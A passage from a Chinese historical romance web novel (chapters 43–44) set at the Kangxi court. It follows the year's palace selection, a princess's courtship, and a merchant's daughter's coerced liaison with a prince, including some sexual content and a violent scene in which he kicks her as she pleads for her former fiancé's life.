此后一段日子里,程连秀听乌锦的话,当做不知道此事,不再问起此事,也没有再对谁说起此事,将其隐在心中,基本上一日三餐,她都会做乌锦爱吃的吃食。
第43章第43章更新
第43章
眨眼间到了六月初,三年一次的选秀已经结束,连赐婚的圣旨都下来了,几家欢喜几家愁。
五阿哥的福晋之位落入正六品工部员外郎张保之女手中,七阿哥的福晋之位则落入正红旗汉军副都统法喀之女手中,最备受瞩目的还是太子妃之位,三等伯爵石文柄之女成为太子妃。
比起两位弟弟的福晋,太子的嫡妻太子妃的身份更尊贵一些,石文柄的父亲石华善为已逝豫亲王多铎的女婿,娶其第三女为妻,后被封为和硕额驸,石文柄本人则娶了郡君为妻,其为多罗贝勒常阿岱之女,而常阿岱为已逝礼亲王代善之孙,可以说石家跟皇家一直有渊源,跟皇家结亲,其祖上亦是正宗满人,石文柄本人驻守在福州,他在康熙二十八年任命为福州将军,如今时任福州将军已有七年。
今年不少秀女被分到宗室那边,同时也有七位秀女被选入皇宫当圣上的女人,郑佳仪则是其中之一,都统朋春的女儿董鄂.和卓也是其中之一。
郑家也没想到郑佳仪最后被选进宫当小主,圣旨下来时,他们皆是不可置信,随后大喜过望,当天就大放鞭炮,第二日请人过来敲锣打鼓奏乐,挂上喜庆的红灯笼。
六月十日,郑家摆席设宴,请了戏班子过来唱戏,乌锦一家自然也被请去吃席,由于人太多,宴席都摆到府外的巷子里。
附近的百姓听说郑家要出一位小主了,纷纷过来凑热闹,想看要进宫的小主长什么样。
这一天的郑家热闹非凡,门庭如市。
乌锦没能见到郑佳仪,佳仪一直待在闺房里,不曾迈出房门一步,但她看到大婶二婶三婶她们脸上都洋溢着灿烂的笑容,发自内心地开心。
女儿进宫当小主对普通旗人家而言是莫大的荣耀,是一件光宗耀祖的事,女儿若是生下一儿半女,诞下皇嗣,他们就跟皇家沾上关系了,以后就是皇亲国戚,从此以后郑家能扶摇直上。
宴席从白天持续到傍晚,快天黑时才恢复平静,郑家门口有好几层放完鞭炮遗留下来的红色炮屑,一整天都在放鞭炮,附近的邻居哪怕之前不知道郑家今年出了秀女,经过这一日都知道了郑家出了一位小主,郑家这一日可是出尽风头。
没过多久,郑佳仪就进宫了,被赐婚的秀女也开始陆陆续续进那些阿哥跟王公宗室的后院,但传言太子妃的阿玛石文柄从福州进京谢恩时突生大病,在途中骤然离世。
圣上给石家下发丧银一千两,赐尔缎二十疋,马匹三只,让其子袭爵,谕令有关衙门办理其身后事,亲自撰写祭文,反正是给足石家体面。
乌锦的日子这阵子稍显平静,替小舅妈操办小表弟的满月宴,闲暇时过去小舅家帮着照顾小表弟跟小表妹,但简王府这边就不平静得多,本来他们想让多兰当皇子福晋,多兰也是今年的秀女,只是没能入选,甚至圣上没有将她赐给哪个王公贵族,基本上今年的宗女都没有入选。
圣上下旨说宗女可以自由婚配,无需像八旗女子一样参加选秀。
许是为了安抚,圣上封多兰等一些宗女为郡君。
要是说宗室不想往帝权靠拢,那是不可能的,如何往帝权靠拢,唯有姻亲这一条路,女儿生个皇子皇女,往后能维持几十年的荣耀,而不是渐渐远离皇权,远离帝权,只是如今这条路也被圣上堵上了,宗女已经不大可能入阿哥们的后院,自由婚配的结果可能是找一个身份地位上不如宗女的男子当额驸。
多兰知道自己嫁不了四阿哥后,正在家里胡闹,哭了好几天。
西林觉罗氏过去多兰房中,见自家女儿躺在床上,神色恹恹,这几日哭得眼睛一直肿着,见到她过来也没有起身。
她坐到床边,摸了摸自己女儿的脸,“又不吃东西,这是想把自己饿死不成。”
“饿死就饿死。”
西林觉罗氏难得对自己女儿露出严肃的样子:“说什么胡话,真饿死了是瘦骨嶙峋的样子,被四阿哥见到,你以为四阿哥会喜欢难看的你。”
“额娘,我是真的喜欢四阿哥,我真想想嫁给四阿哥,额娘求你帮帮我好不好?”
多兰从床上坐起来,抱着西林觉罗氏的手臂哀求。
西林觉罗氏叹口气,大多数宗女都是到年纪被封为郡君或是县君,挑个额驸嫁了,自家丈夫跟儿子非要让女儿选秀,如今选秀也落选,圣上的意思也很明显,如今的宗女基本上不可能嫁给阿哥,哪怕是当妾也不行,他们家自然也不能违抗圣令。
她宽慰自家女儿道:“你喜欢四阿哥只是因为你只认识四阿哥,你常年拘在闺房中,不知这京城里还有多少好男子,尤其你如今被封为郡君,你可以挑选的男子就更多了,你阿玛跟哥哥这几日为你也开始为你挑选京中未婚的男子,你多瞧一瞧,见到其他男子,跟他们结识相处就不会惦记四阿哥了,你以为当妾是好事嘛,你若是当四阿哥的妾,那便如同你的庶娘李氏,只有生了孩子,你才算站稳脚跟,你的性子不如李氏隐忍,也不如李氏会笼络男人的心,那你可能是你阿玛的女人高氏,一辈子只能是无宠的庶福晋,想开一些,过几日,你阿玛宴客,你出来见见人,也许能碰到心仪的男人。”
“不会的,我只喜欢四阿哥。”
西林觉罗氏看着自家女儿如此肯定的样子,不由地轻笑,女儿年纪还小,还不懂男女之事,男女之间的喜欢是持久不了的,不可能一辈子只喜欢一个人,她碰到别的男人,跟别的男人多相处,可能就会喜欢上别的男人,自家女儿身份尊贵,肯定有不少男子想娶她。
“吃点东西吧。”
多兰熬了几日,肚子早就饿了,她最后还是点点头。
西林觉罗氏立即叫人摆膳。
只过三日,王府也摆宴,不过这次请的都是京城中未婚的男子,大多数过来参宴的人都知道这是简亲王为自己的女儿择婿。
多兰觉得自己只喜欢四阿哥,不想参宴露面,只是阿玛跟哥哥逼她,她惧怕有威严的阿玛,她是逼不得已才从闺房出来,跟那些男子见面。
参宴的男子知道多兰的身份后,纷纷围绕在多兰面前大献殷勤,多兰先前哪被允许这样近距离接触外男,她见得最多的人就是四阿哥,她也不过是一十四岁,没经历过人事的女孩,被这么男子围绕,她脸红心跳,害羞不已。
那些人跟她说话,对她阿谀奉承,说尽好听话,称赞她多美,容貌多出色,她竟然真的把四阿哥忘在脑后。
西林觉罗氏看到自家女儿这样子,就知道
她不会再执着嫁给四阿哥,原先因为丈夫想让女儿当秀女,未出嫁女子的闺誉跟名声很重要,他们便管得很严,不让她接触外男,四阿哥跟自家儿子从小一块长大,往来居多,导致自家女儿接触最多的外男便是四阿哥,这才一门心思落在四阿哥身上。
如今她有机会接触更多外男,那些男子的家世大多不如他们家,自然得往上捧着自家女儿,不会像四阿哥那样对多兰冷淡。
“这是送给格格的,格格手腕纤细白皙,这玉镯子很衬格格。”
多兰手上直接被一男子戴上手镯,男子的手碰触到她的手腕,她耳朵顿时变红,怔怔地看着面前的男人,他十五六岁的年纪,说话时语气温文尔雅,眉眼如画,微微一笑的样子很是俊逸斯文。
她忍不住问道:“你是谁?”
“格格,我是典仪富察必新的儿子伯柱。”
多兰见对方的手拿开后,她自己反而怅然若失,她恼羞成怒道:“你怎么一上来就送镯子,你是觉得我没有镯子吗?你送的镯子看起来很一般,这玉都不通透。”
“是我的错,下次我见到格格会送格格更通透的镯子,这次是我不对,还请格格不要生气,要不我再送格格一块玉佩吧。”
伯柱将自己腰带上系的那块玉佩解下来递给多兰。
多兰拿着那块玉佩,脸色好看一些,不过还是微抬下巴倨傲地看着这个典仪之子,她不知典仪是几品官,应该不是什么大官就是,她依旧刁难道:“这玉佩也不怎么样,你送人东西就不能拿出一些昂贵的出来嘛,这样廉价粗陋的东西也敢拿出来送给我。”
“是我的不对,下次我会尽量让送格格喜欢之物给格格,这次是我准备不足,我的小小心意,希望格格不要嫌弃。”
“你知道我喜欢什么?”
伯柱摇摇头说不知道,他浅笑着问多兰她喜欢什么。
“我才不告诉你。”多兰拿着玉佩走开。
许是有人见到伯柱送多兰手镯,那些人在心里骂伯柱有心机,借着给格格戴手镯的机会跟格格肢体接触,他们送礼只是将礼送到格格身边的丫鬟手里,哪会直接上手。
很快有人继续献殷勤,跟多兰攀谈。
多兰已经对这个伯柱留下印象,他在这些人当中长相是出挑的,跟别的男人说话,她忍不住回头看伯柱,见伯柱一直在注视着她,她的心跳得更快,假装不经意扭过脑袋,不再看他。
半天下来,多兰见了不少男子,跟他们也说上几句话,对好几个都有印象,最有印象的自然是伯柱。
宴席结束后,额娘过来问她中意哪一个,她羞羞答答地怎么都不肯说。
西林觉罗氏也不着急,女儿才十四岁,不用急着嫁出去,慢慢挑上半年都行,再考察考察,反正她知道自家女儿已经不再惦记着四阿哥。
先前自家儿子也说要纳乌锦为妾,西林觉罗氏肯定不同意,她去李氏那直接跟李氏说让她别费心思,警告李氏别想让乌锦进府,李氏应是把她的话听进去了,反正自家儿子之后就再也没有提起这件事。
李氏是妾,对她这个嫡福晋,她明面上始终得敬着,当正妻比当妾要顺服得多,自家女儿会明白她的心思的,四阿哥虽然是皇子,但嫁入皇家对性子刁难任性的女儿而言其实不是好归宿。
……
乌锦不知道简王府里面发生的事,她又被叫去宅子那边,保泰今日兴致好,翻来覆去地弄她,弄得她都有点烦了,忍不住说道:“世子爷,今年选秀,难道你后院没进新人吗?”
胤禛哪里听不出来她言下之意,他往前挺了挺,不着急动,只是放在她体.内,声音有些沙哑:“我上个月没找你,隔了一个月才让你过来,才弄了一次,你就不耐烦了,这二十两银子是这么好拿的嘛,我这次又没有弄疼你,也没有在你身上留痕迹,你在不满什么,惯的你。”
胤禛没好气地捏了捏她的脸,她胆子是越来越大了,跟他说话时都没把他这个“世子”放在眼里,没有尊卑之分。
“世子爷一次也太久了,我不比世子爷体力好。”
乌锦有打听到这次选秀,他后院也进了好几位新人,听说至少有三位,三位新人都满足不了他,他还有心思过来折腾她,年轻就是好,他也不过十七八岁,正是精力最旺盛的时候。
“那是谁的错?”
乌锦无奈道:“好好好,是我的错,世子爷想怎么样都行。”
胤禛堵住她的嘴,不让她说话,前前后后弄了快一个时辰,一共三次,三次过后,他也累了,懒洋洋地躺在床上,手依旧把人搂着。
乌锦同样也不想动弹,她觉得自己像是被耕坏的田地,没有力气再说话。
“我过几日便要去行宫避暑,到时候有三个月不在京城。”
乌锦抬头看着他,这才是他今日使劲折腾的原因,想着三个月不会召她,今日一次性折腾个够,如今依旧是六月底,酷暑快来了,京城的天气已经开始有些炎热。
皇室中人去行宫避暑好像不是一件稀奇事,听说行宫清凉得多。
“想笑就笑出来,我知道你不想见我。”
乌锦赶忙否认,身子贴着他:“世子爷,我没有不想见你,我一直都很想见世子爷,巴不得世子爷天天找我,见不到世子爷,我可难过了。”
胤禛轻哼一声,嘴角划过一抹讽刺,他还不知道她,她心里估计还在恨着他,怨他逼迫她成为外室,他对她再好,她也是养不熟的白眼狼。
“那好,我想我还是留在京城吧,我一个人留在京城,福晋她们过去避暑,我就可以天天过来找你。”
乌锦知道去行宫避暑的事肯定是提前一两个月就定好了,怎么可能说不去就不去,她故意顺着他说:“那真是太好了,能天天见到世子爷,我是上辈子积福了,世子爷留在京城陪我吧,不然我一个人太孤单寂寞了。”
胤禛捏着她的下巴:“伶牙俐齿,信不信我把你舌头拔了。”
乌锦搂着他的脖子,凑上去亲他,舌头直接伸进去,亲完后才说:“你才舍不得拔呢。”
胤禛觉得自己有病,别人恭维他,对他很恭敬,他有时候觉得烦,有时候反而喜欢乌锦这样的,她敢瞪他,敢对着他生气,敢骂他,不会毕恭毕敬地对他,如此鲜活,他反而觉得自在有趣,暂时还没对乌锦产生厌倦。
他知道自己要去三个月,便在离京前几天过来找她,她招他,只是刚才折腾太过,他无力再来第四次,只是警告性地拍了拍她屁股。
乌锦是知道他心情好,说话还没那么顾忌,他要是心情不好,她肯定会小心说话,她也知道像他这样的人,别人在他面前可能都小心翼翼,他见得太多了,相反在他面前自在随意一些,反而能得他喜欢。
不管怎么样,在他还没厌倦她之前,她都不能让他真的厌恶她,还是得花心思讨他的喜欢,这样她的日子也会好过一些。
想到三个月他不会来找她,她不用喝那么多苦兮兮的避子汤,乌锦心里就止不住高兴,面上不大敢表现出来。
因为折腾久,乌锦天黑前才回到铺子,再跟彩玉一起归家,到家时,小娘朝她递过来一个眼神,她只是点点头,额娘问她为何这么晚才回来,她说她看账本看得太入神了,一时忘了时辰。
她额娘没有怀疑,只让她洗洗手准备吃饭。
……
七月初,京城从六月开始就没有下过雨,天气燥热得很,他们家领了一回冰,只是那些冰不到一日就用
完了,解暑作用微乎其微。
好在这么多年,他们也习惯七八月的炎热。
乌锦去采买纱线时,在路上碰到多兰格格,她听说多兰格格也参加今年的选秀,只是落选了,但被封为郡君,她本就是宗女,宗女被册封是一件很正常的事。
因为雅尔江阿要纳她为妾这事,乌锦已经有很少一段时间没去找过李夫人,没去过王府,只是偶尔过节,她托人送礼给李夫人,她自己没有亲自去送。
多兰格格身边不止有两个丫鬟,还有一个陌生男子,两人正在说话,那男子往多兰格格手里塞了什么东西。
乌锦没看清,只是觉得两人站得有点近,那男子还简单抚一下多兰的脸颊,她觉得男子的举止有些越矩,这可是在大庭广众之下,男未婚女未嫁,男子的举止轻浮了一些。
很快两人就分开走了,乌锦也收回视线,往铺子的方向走。
那人出城避暑了,不在京城,乌锦的日子更加平静了,每天就是守着她的铺子,白天刺绣,偶尔作画。
因上次姑母给她说亲跟她们家闹得不愉快,姑母那边也再也没有过来给她说亲,倒是街坊邻居或是媒婆还是会过来给她说亲,她额娘也心急,怕再耽搁下去,她年纪大了更嫁不出去,一直想说服她去见见那些男子,只是被小娘制止,说那些人配不上她,加上阿玛也不着急,她自己也反对,说不想嫁人,她额娘一张嘴敌不过家里三个人,她的亲事暂时不了而了。
“桃子,三婶亲自做的豆腐,送几块给你们吃。”
乌锦在家时,隔壁三婶乌佳氏过来,拿盘子盛三块刚做好的豆腐给她,郑佳仪进宫当了小主,郑家属于水涨船高,郑大伯原先是一普通的佐领,没有品级,这会升为从八品镶蓝旗委署骁骑校,连三婶的丈夫三伯也从普通佐领升为蓝翎侍卫。
上个月,郑家的访客跟亲戚更是源源不断。
“谢谢三婶,这豆腐看起来就很嫩。”
“可不是嘛,用新鲜黄豆磨的,我看你额娘挺喜欢吃豆腐的,怎么今天只有你一个人在家,你额娘她们呢?”
“我额娘跟小娘都过去我小舅家了。”
乌佳氏拍拍脑袋:“我忘了,你小舅家听说添了一个儿子,你额娘跟我说过,我都忙忘了,你今日怎么不去铺子那边了?”
“有彩玉呢,天热,大家都不爱出门,铺子生意一般,不用两个人守着。”
乌佳氏点点头:“没事,生意不好,你也不用一直刺绣,歇歇也挺好的,不然这手上都是针眼,天热,这豆腐不宜放久,你们今天就得吃了。”
“好,我让我额娘跟猪骨一起炖着吃,三婶,你忙去吧。”
乌佳氏拿着空盘子离开。
乌锦送走三婶后关上门,一个人在家刺绣,直到额娘跟小娘她们回来,她们一回来说小表弟这会生病,看上去不大好,请了大夫也不管用,小舅妈他们急得不行了。
小孩子刚出生两个月,正是最脆弱的时候,哪怕是满月出生,一生病也容易夭折,尤其是古代的医疗条件,先前的小表弟就是生下来半年后夭折,这古代孩子的存活率真的不高,夭折的不少。
小娘叹气道:“你小舅妈这几天眼睛都哭肿了,好不容易得来的孩子,就怕……”
乌锦也开始担心起来:“真的那么严重?大夫呢,大夫也没有办法吗?”
小娘说两个月大的孩子太孱弱,开的药方药性都不能太烈,喝下去的药不能退烧,只是再烧下去就容易出事。
“这个大夫不行就请别的大夫,要是缺银子的话,我这里还有。”
小娘握了握她的手:“不是银子的事,也不是大夫的事,刚出生的孩子就是这样,大人生病发烧能熬过去,小孩子不行,我们明日再过去看看。”
乌锦跟着忧心起来,心想这小孩子真是不易养活。
翌日,她跟她额娘一起去小舅家看小表弟,生病的小表弟脸上烧得通红,不哭不闹,看上去蔫蔫的,小舅妈本来就刚坐完月子,见到好不容易得来的孩子这样子,哭得眼睛肿成一条线,快看不见眼珠子。
乌锦觉得再去请好的大夫过来看看,这药方不管用就换别的,她听说附近的药馆回春堂有一个从太医院退下来的老太医坐镇,专治小儿科的,只是老太医出诊先要五两银子,她想着去请老太医过来看看。
小舅妈有些犹豫:“五两银子太多了,哪来那么多银子。”
“没事,我来出。”
乌锦还是过去回春馆请老太医,先付了五两银子,好在她今日带了十两银子出门,本来就是给小舅妈他们的,就是怕他们没钱,她跟着老太医一起回来。
老太医看诊完后先给小表弟针灸,后又写了一张药方让她们去抓药,后面又收了二两银子,而抓药又花了三两,一来一回十两银子就没了。
普通人家的确生不起大病,没钱的人家可能看不起病直接病死。
也好在老太医开的药方有用,过了两日,小表弟发烧的症状减轻了,哭闹厉害多了,不像之前那样连哭都不哭。
再过十几日,小表弟病愈,他们一家人才真正松一口气,小舅妈养小表弟就更加精细了,乌锦见小舅妈忙着照顾小表弟,干脆提议让小表妹先在他们家住一段时间,免得小表妹没人照顾,他们也不用频频两边跑。
小舅妈当然同意,小表妹云珠就住进乌家两个月,直到九月初才被送回家,回家时她还不想回去,哭着抱住乌锦的腿不肯松开。
乌锦明白小舅妈此时一门心思都在小表弟身上,对云珠的关注少了一些,在他们家,乌安跟乌明白天去上学,云珠在他们家更受宠更受关注一些,小孩子的心思很敏感,但没办法,总不能将一家人拆开,小表妹还是小舅妈的女儿。
眨眼间三个月过去了,九月二十日,乌锦在街上走时刚好碰到圣驾回京,他们一群人双膝跪地低头,等着圣驾过去。
她还是忍不住偷偷抬头看到浩浩汤汤的一群人,护驾的护军侍卫气势十足,盔甲佩剑齐全,她在里面没见到保泰,应该是跟圣驾分开走的,也有可能是人太多,她没看见。
过了好一会儿,圣驾的影子都见不到后,他们才可以起身。
“小姐,在马车里的是圣上吗?”彩玉问了一句。
马车遮得严严实实,而且每一辆过去的马车都奢华无比,她也不知道康熙在哪一辆马车上。
“应该是吧,没人敢冒充圣驾。”
“不知道我这辈子有没有机会见到圣上。”
乌锦看了看对圣上满眼好奇的彩玉,轻轻捏了捏她的脸,笑道:“好啦,看到又不能怎么样,圣上也是人,又没有三头六臂,说不定你看到都不知道那是圣上。”
“也是,小姐,我们快点走,万一五芳斋的点心买完了怎么办?”
彩玉拉着她快步走,乌锦也很快把保泰跟圣上抛之脑后。
第44章第44章更新
第44章
乌锦跟彩玉在申时两刻就从铺子那边回到家,买了五芳斋的点心,过一会儿,乌安跟乌明也从官学那边回来。
乌明一见到有点心,放笔墨纸砚的背包都没有拿下就朝着点心奔过来,手都没洗就拿一块玫瑰酥放进嘴里,有赘肉的下巴一上一下,没一会儿就吃完一块玫瑰酥,很快又左手拿一块桃酥,右手拿一块桂花酥。
乌安走过来,以兄长的神态教导弟弟:“你不可以全都吃了,这又不是你一个人的点心,不能贪心,姐姐跟额娘阿玛她们也要吃的。”
乌明眼睛眨巴一下,不甘心地把左手那块桃酥放回去。
彩玉捏了捏乌明的小肉脸,笑道:“让他吃吧,我跟小姐买了两盒,还有很多呢,乌安,你也快吃,这会肯定饿了。”
乌安先看了看她,眼神询问,在她点头后,乌安才从点心盒里面拿一块桃酥,问她为什么会想到买点心。
“好久没吃了,嘴
馋,也别吃太多,还可以放一天,吃撑了待会怎么吃饭。”乌锦还是提醒一句。
只有乌安点点头,乌明只顾着吃,几人在院子里坐着吃点心等乌志善回家,阿玛回来得晚,他被同僚拉去喝酒了,一身酒味,被额娘跟小娘念叨了好一会儿,晚饭没吃多少就要回床上躺着,很快睡着了。
乌锦吃完饭还跟乌安下一盘棋才去歇息。
对乌家而言是平静的一天,只是隔着几条胡同的张家就乱翻天了,这次张宗身为护军随圣驾去行宫避暑,然而今日圣驾回銮,他们本以为张宗也会回来,但张宗迟迟未归,张文渊去打听,才发现自家儿子是被押回京城的,说是犯了死罪。
张文渊天黑后还想四处打听,想去觐见王爷,却被王爷拒之门外,张家人都不知道发生了什么事,只知张宗下狱了,如今被关在都统衙门的监狱里,他们急得跟热锅上的蚂蚁一样,不知如何是好,一晚上都不能安歇。
翌日一早,张家人便去各处打听,最后打听到的消息是张宗刺杀世子雅尔江阿,导致世子雅尔江阿身负重伤。
张文渊急了,觉得当中肯定有误会,自家儿子怎么会去刺杀世子,刺杀世子的确是死罪,此时的世子听说还有性命之忧。
王爷一向器重他,将他从普通佐领提拔上来,若真是自家儿子做出刺杀世子之举,那他真是对不起王爷的信任与器重。
张文渊去王府那边,跪在王府门口请罪,不过依旧被王爷拒见。
短短两日,张家笼罩在阴霾中,张宗的额娘秦氏这两日日夜不能眠,双眼哭肿,想到自己的儿子如今还在狱中,不知道要受怎样的折磨,更是哭到停不下来。
乌锦是隔了五天才知道张家出事了,周围的邻居都在说这事,说是张宗刺杀世子,她听完心里咯噔一下。
张宗跟雅尔江阿无冤无仇的,雅尔江阿又是世子,又是镶蓝旗未来的旗主,算是张宗的顶头上司,他怎么会去刺杀世子,犯下杀头之罪,前程都抛弃,不仅仅他自己会被杀头,说不定还会株连九族。
张宗不是脑子愚笨之人,也不像是会冲动行事之人,他为何要冒着这么大的风险去刺杀世子,乌锦想不明白。
夜里,她躺在床上睡不着,都在想这事,想了许久,她突然从床上坐起来。
张宗会不会因为她才去刺杀世子,上一年她跟雅尔江阿传出有私情,私底下暗度陈仓,加上雅尔江阿不顾生命危险跳下池塘救她佐证,张宗会不会以为雅尔江阿是那个让她当外室的世子。
同为世子,她在上一年跟雅尔江阿接触得多,在外人眼里,她只见得到雅尔江阿,其它世子,她接触不到,于是张宗便会怀疑雅尔江阿是那个逼迫她当外室的世子。
张宗先前说过他是从小喜欢她,他对她的情意很深,原本他们都要成亲了,结果他受重伤,她又悔婚,这亲成不了,婚结不成,张宗肯定认为是世子雅尔江阿破坏了这门亲事,让她嫁不了他。
他对雅尔江阿产生恨意,于是便想着杀死雅尔江阿,这一切似乎说得通了。
乌锦整个人如坠冰窖,真是她害了张宗,若是当初她再思虑周全一些,不把张宗牵扯进来,张宗也不会做出这种不顾后果的事,怪不得她之前见到张宗总觉得哪里不对劲,还有他说的那些话,
第二天一早,她就醒了,她简单吃点便跟彩玉出门,她让彩玉一个人过去铺子那边,她去买些纱线,跟彩玉分开后,她过去布料铺买几匹上等的料子,在街头雇一辆马车过去简亲王府。
到王府侧门后,她给看门的家丁一人一两银子,让他们给她传个话,她想见李夫人,那两个看门的家丁认识她,知道她是李夫人的亲戚,收下银子后其中一个很快进去帮她传话。
她是临时过来,没有提前给李夫人递帖子,雅尔江阿受伤是大事,张家那边慌神,王府这边肯定也不平静,她不知道李夫人会不会见她,尤其是她跟张宗还有一层前未婚夫跟前未婚妻的关系。
好在过了好一会儿,她见到李夫人的丫鬟冬雪姑娘跟着一起出来,她才松一口气,跟着冬雪进王府,来到李夫人的映月苑。
她见到李夫人正歪坐在铺炕上,上身穿了一件雪青色绣枝梅纹的旗装,看起来依旧富贵,她屈膝给李夫人行礼。
李氏本不想见乌锦的,府里发生这么大的事,尤其是雅尔江阿受这么重的伤,还是被属下张宗所伤,张宗跟乌锦又差点成过亲,王爷都不愿意见张参领,她见乌锦怕招来闲话,只是她想到乌锦逢年过节给她送的那些礼,几乎每一次节日都没有忘记给她送礼,她这才愿意见她的,总不能礼收了,却把人拒之门外,这种事,她还做不来。
在乌锦没开口时,她先说道:“你若是为张宗的事过来,那你可能要失望了,这个我实在帮不了你,张宗犯下的可是死罪,圣上都知晓此事,命宗人府那边彻查严惩,我一个庶福晋恐怕也救不了张宗。”
乌锦还是跪下来,开口问道:“福晋,奴婢过来只是想问世子爷伤势如何?可有生命危险?”
“已经脱离生命危险了,现在在养伤。”
“张宗是如何伤世子爷的?”
李氏道:“这个我并没有去行宫避暑,只是耳闻,听说是狩猎时,张宗用弓箭射伤世子,那弓箭若是射中世子心口的位置,那世子恐怕就没有那么幸运可以躲过一劫,还好他射偏了,当时世子爷跟四阿哥等人一起,是四阿哥的的随从见到弓箭从树林里射出来,立马追上去才将张宗逮到,抓个现行,要是四阿哥反应没那么快,可能就让张宗逃掉了。”
乌锦心里暗想,四阿哥跟世子都在,刺杀世子的罪名比刺杀皇子的罪名要轻一些,张宗也的确是奔着世子去的,可能张宗也没想到四阿哥也在,若是只有世子一人,他也不会被抓个现行。
“乌锦,不是我不帮你,是我帮不了你,况且张宗与你不是已经没有关系了嘛,你为何还想救张宗?”
乌锦没有跟李夫人说她跟张宗的事,李夫人能告诉她这么多已是慷慨,她对着李夫人磕一个响头:“福晋愿意见奴婢,告诉奴婢这么多细节,奴婢已经感激不尽,不敢求福晋再帮奴婢,奴婢谢谢福晋。”
“快起来吧,我跟你说,张宗的事你最好别管了,省得牵连到乌家,这案子已经交到宗人府那边,由宗人府审理,你既然没和张宗成亲,这事你就别管了,小心被牵连。”
一般涉及到宗室皇家的案子都是交由宗人府审理,雅尔江阿是世子,姓爱新觉罗,宗人府接管此事也属正常。
乌锦点点头说她知道了,她从王府出来,又坐上刚才雇的马车让车夫驶去外城。
基本上乌锦不会主动过来宅子这边,都是被叫去,那人不召她,她不会过来,因此当她突然出现时,谢嬷嬷跟瓜嬷嬷都很诧异。
乌锦跟她们说她想见世子,让她们传个话,越快越好,最好是明日。
谢嬷嬷她们也不敢保证,只说一定会帮她传话,至于主子爷什么时候过来就不是她们能决定的。
乌锦又坐回车厢内时,人有些疲惫,她也不知道要去求谁,张家那边都救不了张宗的话,她一个人又怎么救得了张宗,她把希望寄托到保泰身上,但又知道保泰这人阴晴不定,未必肯帮她。
她十分焦虑,但又没有其它好办法,只等着保泰召见她。
只是一日过去,两日过去,三日过去,保泰没有召见她,谢嬷嬷没有过来找她,她等得心焦,真的恨不得冲去裕亲王府找他,又怕让那人对她产生不满,让事情更糟糕。
她只能压制住这种冲动,好在到了第五日时,他终于肯见她了,他似乎不知张宗的事,一上来先跟她做了一次。
事后,他们都躺在床上时,乌锦忍不住开口道:“世子爷,我听说世子雅尔江阿去行宫避暑时受伤了。”
没得到回应,乌锦抬眸看他,他神色平静冷淡,看不出在想什么,她只好不兜圈子试探,直接道:“世子爷,奴婢求求你救救张宗。”
胤禛就知道这女人是为了张宗的事
才找他,躺在他的床上,却为了另外一个男人开口求他,他压下怒火,抬起她的下巴,冷声道:“张宗?是那个要与你成亲的张宗吗?”
乌锦觉得他眼神幽暗,泛着危险的光芒,只是此时的她顾不上这些,依旧求他:“奴婢跟张宗已许久未见,当初退婚后,我们便没有往来,还请世子爷明鉴。”
“许久未见?我看你对他情深意重得很,这是舍不得你的情郎被砍头,特意过来求我?我为什么要帮你,我是巴不得他死。”
乌锦脑子拼命转,她要是说张宗真正想杀的人是他,张宗只是错把雅尔江阿当成他,她是当了他的外室,而不是雅尔江阿,算是雅尔江阿替他担了罪名,只是这么说会不会火上浇油,张宗对他都起杀心了,那他就更容不下张宗了,日后张宗知道他他的身份也会对他下手,有这样一个想取他性命的人在身边,他肯定更想弄死张宗,以绝后患。
要是不说,他会以为她对张宗还有情意,面前这人属于占有欲强的人,他不喜欢她,但也见不得别的男人沾她觊觎她,更看不得她心里还有别的男人。
二选一,乌锦还是选择后者,让他继续误会她对张宗还有情意,她披上外衫下床跪在地上。
“世子爷,还请世子爷救救他,奴婢觉得张宗肯定不是有意要杀世子爷,他只是狩猎时错把人当猎物,他罪不至死。”
胤禛也从床上起来,看着跪在地上的女人,气得胸膛起伏,好得很,真是好得很,敢为了别的男人惹他,她对张宗可真是情深意重啊,他气得抬脚狠踹她一脚。
乌锦被踹得整个人后退,这一脚踹中她胸口,可能用了他十成的力,疼死她了,她倒抽了一口气。
胤禛见到她疼得龇牙咧嘴的样子,没觉得解气,反而更气了,她就是不怕死才敢为那个张宗求他,他不过是成全她而已。
“世子爷,只要你救张宗,你怎么踹奴婢都行。”
胤禛不欲看她,他把谢嬷嬷叫进来给他穿衣。
眼看着他要离开,乌锦直接抱住他的腿,继续求他:“世子爷,只要你救张宗,你想要奴婢做什么都行。”
“滚开!”胤禛喝道。
“世子爷,你救救张宗,他真是无意的,他没有要杀世子雅尔江阿,他一定是无心之失,还请世子爷救他。”
胤禛抬脚对着乌锦又是狠狠一踹,这次乌锦没有后退,依旧紧抱着他的腿。
谢嬷嬷被这一幕吓到了,想说什么又不敢说,焦急地看着,眼神示意乌锦赶紧松开主子爷,这是不要命了。
“你松不松开?”
“只要世子爷答应奴婢救张宗一命,奴婢就松开世子爷,世子爷不答应,奴婢就永远不松开。”
胤禛气疯了,其实他也不知道自己为什么那么生气,反正对着乌锦连踹好几脚,那个女人就是没有松开手。
“来人啊,把她给我拉开。”
谢嬷嬷叫瓜嬷嬷进来,两人一起想把乌锦拉开,只是乌锦铁了心要保泰救张宗,怎么都不肯松开,力气之大,两个人竟然都拉不开。
“乌姑娘,有什么话你好好说,你这样子只会让主子爷更生气,快松开吧。”谢嬷嬷小声在乌锦耳边说一句,想让乌锦松手。
乌锦就是死死抱着保泰的腿,不肯让他离开,是她害了张宗,她不能眼看着张宗丧命,她只认识一个他,其他人,她不认识,所以只能求他。
苏培盛等人在外头也听到动静,连忙过来,见到屋内的画面,一时不知道要不要上前。
苏培盛见到乌姑娘只着一件外衫,衣衫不整,他垂眸不敢多看,直到四阿哥指使他们把乌姑娘拉开,他们才敢上前。
只是乌姑娘太倔,两只手真是不肯松开一点,刚拉开一点,乌姑娘又扒着四阿哥的腿,好不容易四五个人一起将乌姑娘拉开了,眼看着四阿哥要走,乌姑娘又绕到四阿哥前面,挡住四阿哥的路。
“四……”苏培盛差点喊四阿哥。
“世子爷,你不答应我救张宗,今日你就踏着我的尸体出这间宅子。”
苏培盛一听这话,吓得脸色发白,这乌姑娘性子未免太烈了,竟然敢以死危险四阿哥,他一看乌姑娘的眼神,又知道乌姑娘不是在说笑,她可能是真的说到做到,他瞥一眼四阿哥,四阿哥的脸色黑成炭了,脸上青筋都暴起了。
这都是什么事?张宗不是乌姑娘的前未婚夫吗?两人不是退婚了嘛,乌姑娘这是还喜欢那个张宗,想想也是,要不是没有四阿哥,乌姑娘早就跟张宗结婚生子了,是四阿哥把他们拆散的。
苏培盛想让人把乌姑娘拉开,没等他们动作,四阿哥直接上去踹乌姑娘,他这个旁观者都感觉那一脚是踹到他身上,忍不住闭眼。
乌姑娘被踹得身形歪斜,直接吐出一口血,但她依旧挡着四阿哥,不肯让路。
